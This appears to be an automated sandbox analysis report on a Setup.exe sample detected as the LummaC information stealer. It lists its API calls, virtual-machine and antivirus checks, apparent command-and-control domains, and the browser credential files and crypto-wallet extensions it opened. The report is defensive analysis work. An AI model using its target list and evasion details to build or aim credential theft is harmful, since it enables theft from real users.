Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00486D6C push ecx; mov dword ptr [esp], ecx	0_2_00486D71
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040D038 push ecx; mov dword ptr [esp], edx	0_2_0040D03A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0044310C push ecx; mov dword ptr [esp], ecx	0_2_00443110
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004053CD push eax; ret	0_2_00405409
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040549D push 004056A9h; ret	0_2_004056A1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040551E push 004056A9h; ret	0_2_004056A1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040F598 push ecx; mov dword ptr [esp], edx	0_2_0040F59A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040559B push 004056A9h; ret	0_2_004056A1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00405600 push 004056A9h; ret	0_2_004056A1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004856F4 push 004857D2h; ret	0_2_004857CA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004979F0 push ecx; mov dword ptr [esp], ecx	0_2_004979F5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00419BB8 push ecx; mov dword ptr [esp], ecx	0_2_00419BBD

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00423B18 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	0_2_00423B18
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00423B18 IsIconic,PostMessageA,PostMessageA,PostMessageA,SendMessageA,IsWindowEnabled,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	0_2_00423B18
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004240E8 IsIconic,SetActiveWindow,SetFocus,	0_2_004240E8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004240A0 IsIconic,SetActiveWindow,	0_2_004240A0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00418310 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	0_2_00418310
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0042276C SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,	0_2_0042276C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004850B0 IsIconic,GetWindowLongA,ShowWindow,ShowWindow,	0_2_004850B0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00417534 IsIconic,GetCapture,	0_2_00417534
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00417C5A IsIconic,SetWindowPos,	0_2_00417C5A
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00417C5C IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	0_2_00417C5C

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0044E498 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0044E498

Source: C:\Users\user\Desktop\Setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Setup.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

API coverage: 5.5 %

Source: C:\Users\user\Desktop\Setup.exe TID: 7120

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004667C0 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	0_2_004667C0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00466C3C SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	0_2_00466C3C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0049AD48 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	0_2_0049AD48
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00465248 FindFirstFileA,FindNextFileA,FindClose,	0_2_00465248
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0045562C FindFirstFileA,GetLastError,	0_2_0045562C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0047777C FindFirstFileA,FindNextFileA,FindClose,	0_2_0047777C

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004851F0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,GetProcAddress,GetModuleHandleA,GetProcAddress,GetSystemInfo,

0_2_004851F0

Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Setup.exe, 00000000.00000002.4556835270.000000000056F000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4556995621.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419130879.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019472296.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Setup.exe, 00000000.00000003.2351422715.0000000003EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\Setup.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00448314 LoadLibraryExA,LoadLibraryA,GetProcAddress,

0_2_00448314

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_031403CD mov edx, dword ptr fs:[00000030h]		0_2_031403CD
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0314098D mov eax, dword ptr fs:[00000030h]		0_2_0314098D

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Setup.exe	String found in binary or memory: noisycuttej.shop
Source: Setup.exe	String found in binary or memory: tirepublicerj.shop
Source: Setup.exe	String found in binary or memory: cloudewahsj.shop
Source: Setup.exe	String found in binary or memory: rabidcowse.shop
Source: Setup.exe	String found in binary or memory: monkeycutte.cyou
Source: Setup.exe	String found in binary or memory: abruptyopsn.shop
Source: Setup.exe	String found in binary or memory: nearycrepso.shop
Source: Setup.exe	String found in binary or memory: framekgirus.shop
Source: Setup.exe	String found in binary or memory: wholersorie.shop

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0047A6B4 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,

0_2_0047A6B4

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0045F664 GetVersion,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,AllocateAndInitializeSid,GetLastError,LocalFree,

0_2_0045F664

Source: C:\Users\user\Desktop\Setup.exe	Code function: GetLocaleInfoA,		0_2_00408570
Source: C:\Users\user\Desktop\Setup.exe	Code function: GetLocaleInfoA,		0_2_004085BC

Source: C:\Users\user\Desktop\Setup.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0045B300 GetTickCount,QueryPerformanceCounter,GetSystemTimeAsFileTime,GetCurrentProcessId,CreateNamedPipeA,GetLastError,CreateFileA,SetNamedPipeHandleState,CreateProcessA,CloseHandle,CloseHandle,

0_2_0045B300

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0045A1FC GetSystemTimeAsFileTime,FileTimeToLocalFileTime,

0_2_0045A1FC

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00458024 GetUserNameA,

0_2_00458024

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_0044E444 GetVersionExA,

0_2_0044E444

Source: C:\Users\user\Desktop\Setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Setup.exe, 00000000.00000003.2398589361.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4558137225.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2389055850.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2398606763.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419023414.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Setup.exe PID: 4440, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Setup.exe, 00000000.00000003.3019472296.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: Setup.exe, 00000000.00000003.2388471620.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"},{"x
Source: Setup.exe, 00000000.00000003.3019472296.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Setup.exe, 00000000.00000003.2388471620.00000000005F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnfoofkfgppdlb
Source: Setup.exe, 00000000.00000003.3019472296.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: Setup.exe, 00000000.00000003.2378707256.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Setup.exe, 00000000.00000003.2388429941.0000000000601000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
